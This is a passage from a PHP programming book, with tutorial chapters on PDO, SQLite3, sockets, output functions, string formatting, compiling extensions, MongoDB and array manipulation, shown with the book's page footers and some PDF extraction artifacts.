$query = $db->query("DELETE FROM table WHERE name = 'John'"); $count = $query->rowCount(); echo "Deleted
$count rows named John";

NOTE: This method should only be used to determine the number of rows affected by INSERT, DELETE, and UPDATE
statements. Although this method may work for SELECT statements as well, it is not consistent across all databases.

Section 82.6: PDO::lastInsertId()

You may often find the need to get the auto incremented ID value for a row that you have just inserted into your
database table. You can achieve this with the lastInsertId() method.

// 1. Basic connection opening (for MySQL)

$host = 'localhost';
$database = 'foo';
$user = 'root'
$password = '';
$dsn = "mysql:host=$host;dbname=$database;charset=utf8";
$pdo = new PDO($dsn, $user, $password);

// 2. Inserting an entry in the hypothetical table 'foo_user'

$query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', '[email protected]')";
$query_success = $pdo->query($query);

// 3. Retrieving the last inserted id

$id = $pdo->lastInsertId(); // return value is an integer

In postgresql and oracle, there is the RETURNING Keyword, which returns the specified columns of the currently
inserted / modified rows. Here example for inserting one entry:

// 1. Basic connection opening (for PGSQL)

$host = 'localhost';
$database = 'foo';
$user = 'root'
$password = '';
$dsn = "pgsql:host=$host;dbname=$database;charset=utf8";
$pdo = new PDO($dsn, $user, $password);

// 2. Inserting an entry in the hypothetical table 'foo_user'

$query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', '[email protected]')
RETURNING id";

Complete PHP Tips & Secrets for Professionals 330

$statement = $pdo->query($query);

// 3. Retrieving the last inserted id

$id = $statement->fetchColumn(); // return the value of the id column of the new row in foo_user

Chapter 83: SQLite3

Section 83.1: SQLite3 Quickstart Tutorial
This is a complete example of all the commonly used SQLite related APIs. The aim is to get you up and running
really fast. You can also get a runnable PHP file of of this tutorial.

Creating/opening a database

Let's create a new database first. Create it only if the file doesn't exist and open it for reading/writing. The extension
of the file is up to you, but .sqlite is pretty common and self-explanatory.

$db = new SQLite3('analytics.sqlite', SQLITE3_OPEN_CREATE | SQLITE3_OPEN_READWRITE);

Creating a table
$db->query('CREATE TABLE IF NOT EXISTS "visits" (
"id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,
"user_id" INTEGER,
"url" VARCHAR,
"time" DATETIME
)');
Inserting sample data.

It's advisable to wrap related queries in a transaction (with keywords BEGIN and COMMIT), even if you don't care
about atomicity. If you don't do this, SQLite automatically wraps every single query in a transaction, which slows
down everything immensely. If you're new to SQLite, you may be surprised why the INSERTs are so slow .

$db->exec('BEGIN');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test", "2017-01-14 10:11:23")');
$db->query('INSERT INTO "visits" ("user_id", "url", "time")
VALUES (42, "/test2", "2017-01-14 10:11:44")');
$db->exec('COMMIT');

Insert potentially unsafe data with a prepared statement. You can do this with named parameters:

$statement = $db->prepare('INSERT INTO "visits" ("user_id", "url", "time")

VALUES (:uid, :url, :time)');
$statement->bindValue(':uid', 1337);
$statement->bindValue(':url', '/test');
$statement->bindValue(':time', date('Y-m-d H:i:s'));
$statement->execute(); you can reuse the statement with different values
Fetching data

Let's fetch today's visits of user #42. We'll use a prepared statement again, but with numbered parameters this time,
which are more concise:

$statement = $db->prepare('SELECT * FROM "visits" WHERE "user_id" = ? AND "time" >= ?');
$statement->bindValue(1, 42);
$statement->bindValue(2, '2017-01-14');
$result = $statement->execute();

echo "Get the 1st row as an associative array:\n";

print_r($result->fetchArray(SQLITE3_ASSOC));
echo "\n";

Complete PHP Tips & Secrets for Professionals 331

echo "Get the next row as a numeric array:\n";
print_r($result->fetchArray(SQLITE3_NUM));
echo "\n";

Note: If there are no more rows, fetchArray() returns false. You can take advantage of this in a while loop.

Free the memory - this in not done automatically, while your script is running

$result->finalize();
Shorthands

Here's a useful shorthand for fetching a single row as an associative array. The second parameter means we want
all the selected columns.

Watch out, this shorthand doesn't support parameter binding, but you can escape the strings instead. Always put
the values in SINGLE quotes! Double quotes are used for table and column names (similar to backticks in MySQL).

$query = 'SELECT * FROM "visits" WHERE "url" = \'' .

SQLite3::escapeString('/test') .
'\' ORDER BY "id" DESC LIMIT 1';

$lastVisit = $db->querySingle($query, true);

echo "Last visit of '/test':\n";

print_r($lastVisit);
echo "\n";

Another useful shorthand for retrieving just one value.

$userCount = $db->querySingle('SELECT COUNT(DISTINCT "user_id") FROM "visits"');

echo "User count: $userCount\n";

echo "\n";
Cleaning up

Finally, close the database. This is done automatically when the script finishes, though.

$db->close();

Section 83.2: Querying a database

<?php
//Create a new SQLite3 object from a database file on the server.
$database = new SQLite3('mysqlitedb.db');

//Query the database with SQL

$results = $database->query('SELECT bar FROM foo');

//Iterate through all of the results, var_dumping them onto the page
while ($row = $results->fetchArray()) {
var_dump($row);
}
?>

See also http://stackoverflow.com/documentation/sql/topics

Section 83.3: Retrieving only one result

In addition to using LIMIT SQL statements you can also use the SQLite3 function querySingle to retrieve a single
row, or the first column.

Complete PHP Tips & Secrets for Professionals 332

<?php
$database = new SQLite3('mysqlitedb.db');

//Without the optional second parameter set to true, this query would return just
//the first column of the first row of results and be of the same type as columnName
$database->querySingle('SELECT column1Name FROM table WHERE column2Name=1');

//With the optional entire_row parameter, this query would return an array of the
//entire first row of query results.
$database->querySingle('SELECT column1Name, column2Name FROM user WHERE column3Name=1', true);
?>

Chapter 84: Sockets

Section 84.1: TCP client socket
Creating a socket that uses the TCP (Transmission Control Protocol)
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

Make sure the socket is successfully created. The onSocketFailure function comes from Handling socket errors
example in this topic.

if(!is_resource($socket)) onSocketFailure("Failed to create socket");

Connect the socket to a specified address

The second line fails gracefully if connection failed.

socket_connect($socket, "chat.stackoverflow.com", 6667)

or onSocketFailure("Failed to connect to chat.stackoverflow.com:6667", $socket);
Sending data to the server

The socket_write function sends bytes through a socket. In PHP, a byte array is represented by a string, which is
normally encoding-insensitive.

socket_write($socket, "NICK Alice\r\nUSER alice 0 * :Alice\r\n");

Receiving data from the server

The following snippet receives some data from the server using the socket_read function.

Passing PHP_NORMAL_READ as the third parameter reads until a \r/\n byte, and this byte is included in the return
value.

Passing PHP_BINARY_READ, on the contrary, reads the required amount of data from the stream.

If socket_set_nonblock was called in prior, and PHP_BINARY_READ is used, socket_read will return false
immediately. Otherwise, the method blocks until enough data (to reach the length in the second parameter, or to
reach a line ending) are received, or the socket is closed.

This example reads data from a supposedly IRC server.

while(true) {
// read a line from the socket
$line = socket_read($socket, 1024, PHP_NORMAL_READ);
if(substr($line, -1) === "\r") {
// read/skip one byte from the socket
// we assume that the next byte in the stream must be a \n.
// this is actually bad in practice; the script is vulnerable to unexpected values
socket_read($socket, 1, PHP_BINARY_READ);
}

Complete PHP Tips & Secrets for Professionals 333

 $message = parseLine($line);
if($message->type === "QUIT") break;
}
Closing the socket

Closing the socket frees the socket and its associated resources.

socket_close($socket);

Section 84.2: TCP server socket

Socket creation

Create a socket that uses the TCP. It is the same as creating a client socket.

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

Socket binding

Bind connections from a given network (parameter 2) for a specific port (parameter 3) to the socket.

The second parameter is usually "0.0.0.0", which accepts connection from all networks. It can also

One common cause of errors from socket_bind is that the address specified is already bound to another process.
Other processes are usually killed (usually manually to prevent accidentally killing critical processes) so that the
sockets would be freed.

socket_bind($socket, "0.0.0.0", 6667) or onSocketFailure("Failed to bind to 0.0.0.0:6667");

Set a socket to listening

Make the socket listen to incoming connections using socket_listen. The second parameter is the maximum
number of connections to allow queuing before they are accepted.

socket_listen($socket, 5);
Handling connection

A TCP server is actually a server that handles child connections. socket_accept creates a new child connection.

$conn = socket_accept($socket);

Data transferring for a connection from socket_accept is the same as that for a TCP client socket.

When this connection should be closed, call socket_close($conn); directly. This will not affect the original TCP
server socket.

Closing the server

On the other hand, socket_close($socket); should be called when the server is no longer used. This will free the
TCP address as well, allowing other processes to bind to the address.

Section 84.3: UDP server socket

A UDP (user datagram protocol) server, unlike TCP, is not stream-based. It is packet-based, i.e. a client sends data in
units called "packets" to the server, and the client identifies clients by their address. There is no builtin function that
relates different packets sent from the same client (unlike TCP, where data from the same client are handled by a
specific resource created by socket_accept). It can be thought as a new TCP connection is accepted and closed
every time a UDP packet arrives.

Creating a UDP server socket

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$socket = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
Binding a socket to an address

The parameters are same as that for a TCP server.

socket_bind($socket, "0.0.0.0", 9000) or onSocketFailure("Failed to bind to 0.0.0.0:9000",

$socket);
Sending a packet

This line sends $data in a UDP packet to $address:$port.

socket_sendto($socket, $data, strlen($data), 0, $address, $port);

Receiving a packet

The following snippet attempts to manage UDP packets in a client-indexed manner.

$clients = [];
while (true){
socket_recvfrom($socket, $buffer, 32768, 0, $ip, $port) === true
or onSocketFailure("Failed to receive packet", $socket);
$address = "$ip:$port";
if (!isset($clients[$address])) $clients[$address] = new Client();
$clients[$address]->handlePacket($buffer);
}
Closing the server

socket_close can be used on the UDP server socket resource. This will free the UDP address, allowing other
processes to bind to this address.

Section 84.4: Handling socket errors

socket_last_error can be used to get the error ID of the last error from the sockets extension.

socket_strerror can be used to convert the ID to human-readable strings.

function onSocketFailure(string $message, $socket = null) {

if(is_resource($socket)) {
$message .= ": " . socket_strerror(socket_last_error($socket));
}
die($message);
}

Chapter 85: Outputting the Value of a Variable

To build a dynamic and interactive PHP program, it is useful to output variables and their values. The PHP language
allows for multiple methods of value output. This topic covers the standard methods of printing a value in PHP and
where these methods can be used.

Section 85.1: echo and print

echo and print are language constructs, not functions. This means that they don't require parentheses around the
argument like a function does (although one can always add parentheses around almost any PHP expression and
thus echo("test") won't do any harm either). They output the string representation of a variable, constant, or
expression. They can't be used to print arrays or objects.

Assign the string Joel to the variable $name

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 $name = "Joel";

Output the value of $name using echo & print

echo $name; #> Joel

print $name; #> Joel

Parentheses are not required, but can be used

echo($name); #> Joel

print($name); #> Joel

Using multiple parameters (only echo)

echo $name, "Smith"; #> JoelSmith

echo($name, " ", "Smith"); #> Joel Smith

print, unlike echo, is an expression (it returns 1), and thus can be used in more places:

print("hey") && print(" ") && print("you"); #> you11

The above is equivalent to:

print ("hey" && (print (" " && print "you"))); #> you11

Shorthand notation for echo

When outside of PHP tags, a shorthand notation for echo is available by default, using <?= to begin output and ?> to
end it. For example:

<p><?=$variable?></p>
<p><?= "This is also PHP" ?></p>

Note that there is no terminating ;. This works because the closing PHP tag acts as the terminator for the single
statement. So, it is conventional to omit the semicolon in this shorthand notation.

Priority of print

Although the print is language construction it has priority like operator. It places between = += -= *= **= /= .= %=
&= and and operators and has left association. Example:

echo '1' . print '2' + 3; //output 511

Same example with brackets:

echo '1' . print ('2' + 3); //output 511

Differences between echo and print

In short, there are two main differences:

print only takes one parameter, while echo can have multiple parameters.
print returns a value, so can be used as an expression.

Section 85.2: Outputting a structured view of arrays and objects

print_r() - Outputting Arrays and Objects for debugging

print_r will output a human readable format of an array or object.

Complete PHP Tips & Secrets for Professionals 336

You may have a variable that is an array or object. Trying to output it with an echo will throw the error:
Notice: Array to string conversion. You can instead use the print_r function to dump a human readable
format of this variable.

You can pass true as the second parameter to return the content as a string.

$myobject = new stdClass();

$myobject->myvalue = 'Hello World';
$myarray = [ "Hello", "World" ];
$mystring = "Hello World";
$myint = 42;

// Using print_r we can view the data the array holds.

print_r($myobject);
print_r($myarray);
print_r($mystring);
print_r($myint);

This outputs the following:

stdClass Object
(
[myvalue] => Hello World
)
Array
(
[0] => Hello
[1] => World
)
Hello World
42

Further, the output from print_r can be captured as a string, rather than simply echoed. For instance, the following
code will dump the formatted version of $myarray into a new variable:

$formatted_array = print_r($myarray, true);

Note that if you are viewing the output of PHP in a browser, and it is interpreted as HTML, then the line breaks will
not be shown and the output will be much less legible unless you do something like

echo '<pre>' . print_r($myarray, true) . '</pre>';

Opening the source code of a page will also format your variable in the same way without the use of the <pre> tag.

Alternatively you can tell the browser that what you're outputting is plain text, and not HTML:

header('Content-Type: text/plain; charset=utf-8');

print_r($myarray);
var_dump() - Output human-readable debugging information about content of the argument(s) including its
type and value

The output is more detailed as compared to print_r because it also outputs the type of the variable along with its
value and other information like object IDs, array sizes, string lengths, reference markers, etc.

You can use var_dump to output a more detailed version for debugging.

var_dump($myobject, $myarray, $mystring, $myint);

Output is more detailed:

Complete PHP Tips & Secrets for Professionals 337

object(stdClass)#12 (1) {
["myvalue"]=>
string(11) "Hello World"
}
array(2) {
[0]=>
string(5) "Hello"
[1]=>
string(5) "World"
}
string(11) "Hello World"
int(42)

Note: If you are using xDebug in your development environment, the output of var_dump is limited / truncated by
default. See the official documentation for more info about the options to change this.

var_export() - Output valid PHP Code

var_export() dumps a PHP parseable representation of the item.

You can pass true as the second parameter to return the contents into a variable.

var_export($myarray);
var_export($mystring);
var_export($myint);

Output is valid PHP code:

array (
0 => 'Hello',
1 => 'World',
)
'Hello World'
42

To put the content into a variable, you can do this:

$array_export = var_export($myarray, true);

$string_export = var_export($mystring, true);
$int_export = var_export($myint, 1); // any `Truthy` value

After that, you can output it like this:

printf('$myarray = %s; %s', $array_export, PHP_EOL);

printf('$mystring = %s; %s', $string_export, PHP_EOL);
printf('$myint = %s; %s', $int_export, PHP_EOL);

This will produce the following output:

$myarray = array (
0 => 'Hello',
1 => 'World',
);
$mystring = 'Hello World';
$myint = 42;

Section 85.3: String concatenation with echo

You can use concatenation to join strings "end to end" while outputting them (with echo or print for example).

You can concatenate variables using a . (period/dot).

Complete PHP Tips & Secrets for Professionals 338

// String variable
$name = 'Joel';

// Concatenate multiple strings (3 in this example) into one and echo it once done.
// 1. ? 2. ? 3. ? - Three Individual string items
echo '<p>Hello ' . $name . ', Nice to see you.</p>';
// ? ? - Concatenation Operators

#> "<p>Hello Joel, Nice to see you.</p>"

Similar to concatenation, echo (when used without parentheses) can be used to combine strings and variables
together (along with other arbitrary expressions) using a comma (,).

$itemCount = 1;

echo 'You have ordered ', $itemCount, ' item', $itemCount === 1 ? '' : 's';
// ? ? ? - Note the commas

#> "You have ordered 1 item"

String concatenation vs passing multiple arguments to echo

Passing multiple arguments to the echo command is more advantageous than string concatenation in some
circumstances. The arguments are written to the output in the same order as they are passed in.

echo "The total is: ", $x + $y;

The problem with the concatenation is that the period . takes precedence in the expression. If concatenated, the
above expression needs extra parentheses for the correct behavior. The precedence of the period affects ternary
operators too.

echo "The total is: " . ($x + $y);

Section 85.4: printf vs sprintf

printf will output a formatted string using placeholders

sprintf will return the formatted string

$name = 'Jeff';

// The `%s` tells PHP to expect a string

// ? `%s` is replaced by ?
printf("Hello %s, How's it going?", $name);
#> Hello Jeff, How's it going?

// Instead of outputting it directly, place it into a variable ($greeting)

$greeting = sprintf("Hello %s, How's it going?", $name);
echo $greeting;
#> Hello Jeff, How's it going?

It is also possible to format a number with these 2 functions. This can be used to format a decimal value used to
represent money so that it always has 2 decimal digits.

$money = 25.2;
printf('%01.2f', $money);
#> 25.20

The two functions vprintf and vsprintf operate as printf and sprintf, but accept a format string and an array of
values, instead of individual variables.

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Section 85.5: Outputting large integers
On 32-bits systems, integers larger than PHP_INT_MAX are automatically converted to float. Outputting these as
integer values (i.e. non-scientific notation) can be done with printf, using the float representation, as illustrated
below:

foreach ([1, 2, 3, 4, 5, 6, 9, 12] as $p) {

$i = pow(1024, $p);
printf("pow(1024, %d) > (%7s) %20s %38.0F", $p, gettype($i), $i, $i);
echo " ", $i, "\n";
}
// outputs:
pow(1024, 1) integer 1024 1024 1024
pow(1024, 2) integer 1048576 1048576 1048576
pow(1024, 3) integer 1073741824 1073741824 1073741824
pow(1024, 4) double 1099511627776 1099511627776 1099511627776
pow(1024, 5) double 1.1258999068426E+15 1125899906842624
1.1258999068426E+15
pow(1024, 6) double 1.1529215046068E+18 1152921504606846976
1.1529215046068E+18
pow(1024, 9) double 1.2379400392854E+27 1237940039285380274899124224
1.2379400392854E+27
pow(1024, 12) double 1.3292279957849E+36 1329227995784915872903807060280344576
1.3292279957849E+36

Note: watch out for float precision, which is not infinite!

While this looks nice, in this contrived example the numbers can all be represented as a binary number since they
are all powers of 1024 (and thus 2). See for example:

$n = pow(10, 27);
printf("%s %.0F\n", $n, $n);
// 1.0E+27 1000000000000000013287555072

Section 85.6: Output a Multidimensional Array with index and value and
print into the table
Array
(
[0] => Array
(
[id] => 13
[category_id] => 7
[name] => Leaving Of Liverpool
[description] => Leaving Of Liverpool
[price] => 1.00
[virtual] => 1
[active] => 1
[sort_order] => 13
[created] => 2007-06-24 14:08:03
[modified] => 2007-06-24 14:08:03
[image] => NONE
)

[1] => Array

(
[id] => 16
[category_id] => 7
[name] => Yellow Submarine
[description] => Yellow Submarine
[price] => 1.00

Complete PHP Tips & Secrets for Professionals 340

 [virtual] => 1
[active] => 1
[sort_order] => 16
[created] => 2007-06-24 14:10:02
[modified] => 2007-06-24 14:10:02
[image] => NONE
)

Output Multidimensional Array with index and value in table

<table>
<?php
foreach ($products as $key => $value) {
foreach ($value as $k => $v) {
echo "<tr>";
echo "<td>$k</td>"; // Get index.
echo "<td>$v</td>"; // Get value.
echo "</tr>";
}
}
?>
</table>

Chapter 86: String formatting

Section 86.1: String interpolation
You can also use interpolation to interpolate (insert) a variable within a string. Interpolation works in double quoted
strings and the heredoc syntax only.

$name = 'Joel';

// $name will be replaced with `Joel`

echo "<p>Hello $name, Nice to see you.</p>";
# ?
#> "<p>Hello Joel, Nice to see you.</p>"

// Single Quotes: outputs $name as the raw text (without interpreting it)
echo 'Hello $name, Nice to see you.'; # Careful with this notation
#> "Hello $name, Nice to see you."

The complex (curly) syntax format provides another option which requires that you wrap your variable within
curly braces {}. This can be useful when embedding variables within textual content and helping to prevent
possible ambiguity between textual content and variables.

$name = 'Joel';

// Example using the curly brace syntax for the variable $name
echo "<p>We need more {$name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"

// This line will throw an error (as `$names` is not defined)

echo "<p>We need more $names to help us!</p>";
#> "Notice: Undefined variable: names"

The {} syntax only interpolates variables starting with a $ into a string. The {} syntax does not evaluate arbitrary
PHP expressions.

Complete PHP Tips & Secrets for Professionals 341

// Example tying to interpolate a PHP expression
echo "1 + 2 = {1 + 2}";
#> "1 + 2 = {1 + 2}"

// Example using a constant

define("HELLO_WORLD", "Hello World!!");
echo "My constant is {HELLO_WORLD}";
#> "My constant is {HELLO_WORLD}"

// Example using a function

function say_hello() {
return "Hello!";
};
echo "I say: {say_hello()}";
#> "I say: {say_hello()}"

However, the {} syntax does evaluate any array access, property access and function/method calls on variables,
array elements or properties:

// Example accessing a value from an array — multidimensional access is allowed

$companions = [0 => ['name' => 'Amy Pond'], 1 => ['name' => 'Dave Random']];
echo "The best companion is: {$companions[0]['name']}";
#> "The best companion is: Amy Pond"

// Example of calling a method on an instantiated object

class Person {
function say_hello() {
return "Hello!";
}
}

$max = new Person();

echo "Max says: {$max->say_hello()}";

#> "Max says: Hello!"

// Example of invoking a Closure — the parameter list allows for custom expressions
$greet = function($num) {
return "A $num greetings!";
};
echo "From us all: {$greet(10 ** 3)}";
#> "From us all: A 1000 greetings!"

Notice that the dollar $ sign can appear after the opening curly brace { as the above examples, or, like in Perl or
Shell Script, can appear before it:

$name = 'Joel';

// Example using the curly brace syntax with dollar sign before the opening curly brace
echo "<p>We need more ${name}s to help us!</p>";
#> "<p>We need more Joels to help us!</p>"

The Complex (curly) syntax is not called as such because it's complex, but rather because it allows for the use of
'complex expressions'. Read more about Complex (curly) syntax

Section 86.2: Extracting/replacing substrings

Single characters can be extracted using array (square brace) syntax as well as curly brace syntax. These two
syntaxes will only return a single character from the string. If more than one character is needed, a function will be
required, i.e.- substr

Complete PHP Tips & Secrets for Professionals 342

Strings, like everything in PHP, are 0-indexed.

$foo = 'Hello world';

$foo[6]; // returns 'w'

$foo{6}; // also returns 'w'

substr($foo, 6, 1); // also returns 'w'

substr($foo, 6, 2); // returns 'wo'

Strings can also be changed one character at a time using the same square brace and curly brace syntax. Replacing
more than one character requires a function, i.e.- substr_replace

$foo = 'Hello world';

$foo[6] = 'W'; // results in $foo = 'Hello World'

$foo{6} = 'W'; // also results in $foo = 'Hello World'

substr_replace($foo, 'W', 6, 1); // also results in $foo = 'Hello World'

substr_replace($foo, 'Whi', 6, 2); // results in 'Hello Whirled'
// note that the replacement string need not be the same length as the substring replaced

Chapter 87: Compile PHP Extensions

Section 87.1: Compiling on Linux
To compile a PHP extension in a typical Linux environment, there are a few pre-requisites:

Basic Unix skills (being able to operate "make" and a C compiler)

An ANSI C compiler
The source code for the PHP extension you want to compile

Generally there are two ways to compile a PHP extension. You can statically compile the extension into the PHP
binary, or compile it as a shared module loaded by your PHP binary at startup. Shared modules are more likely
since they allow you to add or remove extensions without rebuilding the entire PHP binary. This example focuses
on the shared option.

If you installed PHP via your package manager (apt-get install, yum install, etc..) you will need to install the -
dev package for PHP, which will include the necessary PHP header files and phpize script for the build environment
to work. The package might be named something like php5-dev or php7-dev, but be sure to use your package
manager to search for the appropriate name using your distro's repositories. They can differ.

If you built PHP from source the header files most likely already exist on your system (usually in /usr/include or
/usr/local/include).

Steps to compile

After you check to make sure you have all the prerequisites, necessary to compile, in place you can head over to
pecl.php.net, select an extension you wish to compile, and download the tar ball.

1. Unpack the tar ball (e.g. tar xfvz yaml-2.0.0RC8.tgz)

2. Enter the directory where the archive was unpacked and run phpize
3. You should now see a newly created .configure script if all went well, run that ./configure
4. Now you will need to run make, which will compile the extension
5. Finally, make install will copy the compiled extension binary to your extension directory

The make install step will typically provide the installation path for you where the extension was copied. This is

Complete PHP Tips & Secrets for Professionals 343

usually in /usr/lib/, for example it might be something like /usr/lib/php5/20131226/yaml.so. But this depends
on your configuration of PHP (i.e. --with-prefix) and specific API version. The API number is included in the path
to keep extensions built for different API versions in separate locations.

Loading the Extension in PHP

To load the extension in PHP, find your loaded php.ini file for the appropriate SAPI, and add the line
extension=yaml.so then restart PHP. Change yaml.so to the name of the actual extension you installed, of course.

For a Zend extension you do need to provide the full path to the shared object file. However, for normal PHP
extensions this path derived from the extension_dir directive in your loaded configuration, or from the $PATH
environment during initial setup.

Chapter 88: mongo-php

1. find()

Section 88.1: Everything in between MongoDB and Php

Requirements

MongoDB server running on port usually 27017. (type mongod on command prompt to run mongodb server)

Php installed as either cgi or fpm with MongoDB extension installed(MongoDB extension is not bundled with
default php)

Composer library(mongodb/mongodb).(In the project root run php composer.phar require

"mongodb/mongodb=^1.0.0" to install the MongoDB library)

If everything is ok you are ready to move on.

Check For Php installation

if not sure check Php installation by running php -v on command prompt will return something like this

PHP 7.0.6 (cli) (built: Apr 28 2016 14:12:14) ( ZTS ) Copyright (c) 1997-2016 The PHP Group Zend
Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

Check For MongoDB installation

Check MongoDB installation by running mongo --version will return MongoDB shell version: 3.2.6

Check For Composer installation

Check for Composer installation by running php composer.phar --version will return Composer version 1.2-dev
(3d09c17b489cd29a0c0b3b11e731987e7097797d) 2016-08-30 16:12:39 `

Connecting to MongoDB from php

<?php

//This path should point to Composer's autoloader from where your MongoDB library will be loaded
require 'vendor/autoload.php';

Complete PHP Tips & Secrets for Professionals 344

 // when using custom username password
try {
$mongo = new MongoDB\Client('mongodb://username:password@localhost:27017');
print_r($mongo->listDatabases());
} catch (Exception $e) {
echo $e->getMessage();
}

// when using default settings

try {
$mongo = new MongoDB\Client('mongodb://localhost:27017');
print_r($mongo->listDatabases());
} catch (Exception $e) {
echo $e->getMessage();
}

The above code will connect using MongoDB composer library(mongodb/mongodb) included as vendor/autoload.php to
connect to the MongoDB server running on port: 27017. If everything is ok it will connect and list an array, if exception
occurs connecting to MongoDB server the message will be printed.

CREATE(Inserting) into MongoDB

<?php

//MongoDB uses collection rather than Tables as in case on SQL.

//Use $mongo instance to select the database and collection
//NOTE: if database(here demo) and collection(here beers) are not found in MongoDB both will be
created automatically by MongoDB.
$collection = $mongo->demo->beers;

//Using $collection we can insert one document into MongoDB

//document is similar to row in SQL.
$result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

//Every inserted document will have a unique id.

echo "Inserted with Object ID '{$result->getInsertedId()}'";
?>

In the example we are using the $mongo instance previously used in the Connecting to MongoDB from php part.
MongoDB uses JSON type data format, so in php we will use array to insert data into MongoDB, this conversion from array
to Json and vice versa will be done by mongo library. Every document in MongoDB has a unique id named as _id,during
insertion we can get this by using $result->getInsertedId();

READ(Find) in MongoDB

<?php
//use find() method to query for records, where parameter will be array containing key value pair we
need to find.
$result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] );

// all the data(result) returned as array

// use for each to filter the required keys
foreach ($result as $entry) {
echo $entry['_id'], ': ', $entry['name'], "\n";
}

?>

Drop in MongoDB

Complete PHP Tips & Secrets for Professionals 345

<?php

$result = $collection->drop( [ 'name' => 'Hinterland'] );

//return 1 if the drop was sucessfull and 0 for failure

print_r($result->ok);

?>

There are many methods that can be performed on $collection see Official documentation from MongoDB

Chapter 89: Manipulating an Array

Section 89.1: Filtering an array
In order to filter out values from an array and obtain a new array containing all the values that satisfy the filter
condition, you can use the array_filter function.

Filtering non-empty values

The simplest case of filtering is to remove all "empty" values:

$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$non_empties = array_filter($my_array); // $non_empties will contain [1,2,3,4,5,6,7,8];
Filtering by callback

This time we define our own filtering rule. Suppose we want to get only even numbers:

$my_array = [1,2,3,4,5,6,7,8];

$even_numbers = array_filter($my_array, function($number) {

return $number % 2 === 0;
});

The array_filter function receives the array to be filtered as its first argument, and a callback defining the filter
predicate as its second.

Version≥5.6
Filtering by index

A third parameter can be provided to the array_filter function, which allows to tweak which values are passed to
the callback. This parameter can be set to either ARRAY_FILTER_USE_KEY or ARRAY_FILTER_USE_BOTH, which will
result in the callback receiving the key instead of the value for each element in the array, or both value and key as
its arguments. For example, if you want to deal with indexes istead of values:

$numbers = [16,3,5,8,1,4,6];

$even_indexed_numbers = array_filter($numbers, function($index) {

return $index % 2 === 0;
}, ARRAY_FILTER_USE_KEY);
Indexes in filtered array

Note that array_filter preserves the original array keys. A common mistake would be to try an use for loop over
the filtered array:

<?php

$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);

Complete PHP Tips & Secrets for Professionals 346

error_reporting(E_ALL); // show all errors and notices

// innocently looking "for" loop

for ($i = 0; $i < count($filtered); $i++) {
print $filtered[$i];
}

/*
Output:
1
Notice: Undefined offset: 1
2
Notice: Undefined offset: 3
3
Notice: Undefined offset: 5
4
Notice: Undefined offset: 7
*/

This happens because the values which were on positions 1 (there was 0), 3 (null), 5 (empty string '') and 7 (empty
array []) were removed along with their corresponding index keys.

If you need to loop through the result of a filter on an indexed array, you should first call array_values on the
result of array_filter in order to create a new array with the correct indexes:

$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
$iterable = array_values($filtered);

error_reporting(E_ALL); // show all errors and notices

for ($i = 0; $i < count($iterable); $i++) {

print $iterable[$i];
}

// No warnings!

Section 89.2: Removing elements from an array

To remove an element inside an array, e.g. the element with the index 1.

$fruit = array("bananas", "apples", "peaches");

unset($fruit[1]);

This will remove the apples from the list, but notice that unset does not change the indexes of the remaining
elements. So $fruit now contains the indexes 0 and 2.

For associative array you can remove like this:

$fruit = array('banana', 'one'=>'apple', 'peaches');

print_r($fruit);
/*
Array
(
[0] => banana
[one] => apple
[1] => peaches
)
*/

Complete PHP Tips & Secrets for Professionals 347

unset($fruit['one']);

Now $fruit is

print_r($fruit);

/*
Array
(
[0] => banana
[1] => peaches
)
*/

Note that

unset($fruit);

unsets the variable and thus removes the whole array, meaning none of its elements are accessible anymore.

Removing terminal elements

array_shift() - Shift an element off the beginning of array.

Example:

$fruit = array("bananas", "apples", "peaches");

array_shift($fruit);
print_r($fruit);

Output:

Array
(
[0] => apples
[1] => peaches
)

array_pop() - Pop the element off the end of array.

Example:

$fruit = array("bananas", "apples", "peaches");

array_pop($fruit);
print_r($fruit);

Output:

Array
(
[0] => bananas
[1] => apples
)

Section 89.3: Sorting an Array

There are several sort functions for arrays in php:

sort()

Sort an array in ascending order by value.

Complete PHP Tips & Secrets for Professionals 348

$fruits = ['Zitrone', 'Orange', 'Banane', 'Apfel'];
sort($fruits);
print_r($fruits);

results in

Array
(
[0] => Apfel
[1] => Banane
[2] => Orange
[3] => Zitrone
)
rsort()

Sort an array in descending order by value.

$fruits = ['Zitrone', 'Orange', 'Banane', 'Apfel'];

rsort($fruits);
print_r($fruits);

results in

Array
(
[0] => Zitrone
[1] => Orange
[2] => Banane
[3] => Apfel
)
asort()

Sort an array in ascending order by value and preserve the indecies.

$fruits = [1 => 'lemon', 2 => 'orange', 3 => 'banana', 4 => 'apple'];

asort($fruits);
print_r($fruits);

results in

Array
(
[4] => apple
[3] => banana
[1] => lemon
[2] => orange
)
arsort()

Sort an array in descending order by value and preserve the indecies.

$fruits = [1 => 'lemon', 2 => 'orange', 3 => 'banana', 4 => 'apple'];

arsort($fruits);
print_r($fruits);

results in

Array
(
[2] => orange
[1] => lemon

Complete PHP Tips & Secrets for Professionals 349

 [3] => banana
[4] => apple
)
ksort()

Sort an array in ascending order by key

$fruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple'];

ksort($fruits);
print_r($fruits);

results in

Array
(
[a] => orange
[b] => banana
[c] => apple
[d] => lemon
)
krsort()

Sort an array in descending order by key.

$fruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple'];

krsort($fruits);
print_r($fruits);

results in

Array
(
[d] => lemon
[c] => apple
[b] => banana
[a] => orange
)
natsort()

Sort an array in a way a human being would do (natural order).

$files = ['File8.stack', 'file77.stack', 'file7.stack', 'file13.stack', 'File2.stack'];

natsort($files);
print_r($files);

results in

Array
(
